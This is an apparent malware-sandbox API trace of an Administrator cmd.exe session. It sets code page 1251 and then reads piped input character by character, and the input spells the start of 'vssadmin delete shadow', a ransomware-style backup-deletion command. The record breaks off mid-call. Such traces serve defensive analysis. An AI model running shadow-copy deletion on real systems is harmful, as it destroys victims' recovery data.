returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.453] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.453] GetProcessHeap () returned 0x300000 [0032.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314640 | out: hHeap=0x300000) returned 1 [0032.453] GetProcessHeap () returned 0x300000 [0032.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x318900 [0032.453] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1defc0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1def70 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1def70*(hProcess=0x54, hThread=0x50, dwProcessId=0xa04, dwThreadId=0xa08)) returned 1 [0032.460] CloseHandle (hObject=0x50) returned 1 [0032.460] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0032.460] GetProcessHeap () returned 0x300000 [0032.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31c230 | out: hHeap=0x300000) returned 1 [0032.460] GetEnvironmentStringsW () returned 0x31aa10* [0032.460] GetProcessHeap () returned 0x300000 [0032.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xae8) returned 0x31b500 [0032.460] FreeEnvironmentStringsW (penv=0x31aa10) returned 1 [0032.460] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0032.460] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0032.460] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1de878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1de878, ReturnLength=0x0) returned 0x0 [0032.460] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1de8b0, nSize=0x380, lpNumberOfBytesRead=0x1de870 | out: lpBuffer=0x1de8b0*, lpNumberOfBytesRead=0x1de870*=0x380) returned 1 [0032.460] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0032.825] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1deeb8 | out: lpExitCode=0x1deeb8*=0x0) returned 1 [0032.825] CloseHandle (hObject=0x54) returned 1 [0032.825] _vsnwprintf (in: _Buffer=0x1df128, _BufferCount=0x13, _Format="%08X", _ArgList=0x1deec8 | out: _Buffer="00000000") returned 8 [0032.825] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0032.825] GetProcessHeap () returned 0x300000 [0032.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b500 | out: hHeap=0x300000) returned 1 [0032.825] GetEnvironmentStringsW () returned 0x31aa10* [0032.825] GetProcessHeap () returned 0x300000 [0032.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0e) returned 0x31eb10 [0032.825] FreeEnvironmentStringsW (penv=0x31aa10) returned 1 [0032.825] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0032.825] GetProcessHeap () returned 0x300000 [0032.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31eb10 | out: hHeap=0x300000) returned 1 [0032.825] GetEnvironmentStringsW () returned 0x31aa10* [0032.825] GetProcessHeap () returned 0x300000 [0032.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0e) returned 0x31eb10 [0032.825] FreeEnvironmentStringsW (penv=0x31aa10) returned 1 [0032.825] GetProcessHeap () returned 0x300000 [0032.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x318900 | out: hHeap=0x300000) returned 1 [0032.825] DeleteProcThreadAttributeList (in: lpAttributeList=0x1def88 | out: lpAttributeList=0x1def88) [0032.826] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0032.827] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.827] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0032.827] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.827] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a29e194 | out: lpMode=0x4a29e194) returned 0 [0032.827] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.827] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a29e198 | out: lpMode=0x4a29e198) returned 0 [0032.827] GetConsoleOutputCP () returned 0x4e3 [0032.828] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a2abfe0 | out: lpCPInfo=0x4a2abfe0) returned 1 [0032.828] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315b70 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x319b00 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x301cd0 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x319a80 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3198a0 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x301ab0 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x316510 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314610 | out: hHeap=0x300000) returned 1 [0032.828] GetProcessHeap () returned 0x300000 [0032.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3197e0 | out: hHeap=0x300000) returned 1 [0032.829] _vsnwprintf (in: _Buffer=0x4a2b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1df3e8 | out: _Buffer="\r\n") returned 2 [0032.829] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.829] GetFileType (hFile=0xf4) returned 0x3 [0032.829] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.829] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.829] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1df3b8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df3b8*=0x2, lpOverlapped=0x0) returned 1 [0032.829] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a29f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0032.829] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.829] _vsnwprintf (in: _Buffer=0x4a29eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1df3f8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0032.829] _vsnwprintf (in: _Buffer=0x4a29ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1df3f8 | out: _Buffer=">") returned 1 [0032.829] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.829] GetFileType (hFile=0xf4) returned 0x3 [0032.829] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.829] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a2ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0032.829] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1df3e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesWritten=0x1df3e8*=0x26, lpOverlapped=0x0) returned 1 [0032.829] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.829] GetFileType (hFile=0xe8) returned 0x3 [0032.829] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.829] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.829] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.829] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0032.829] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.829] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.830] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.830] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0032.830] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.830] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.831] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.831] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0032.831] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.831] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.832] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0032.832] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.832] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.832] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1df6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a2ac320*, lpNumberOfBytesRead=0x1df6e8*=0x1, lpOverlapped=0x0) returned 1 [0032.833] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a2ac320, cbMultiByte=1, lpWideCharStr=0x4a2ae34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0032.833] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.833] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.833] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2ac320, nNumberOfBytesToRead=0x1, 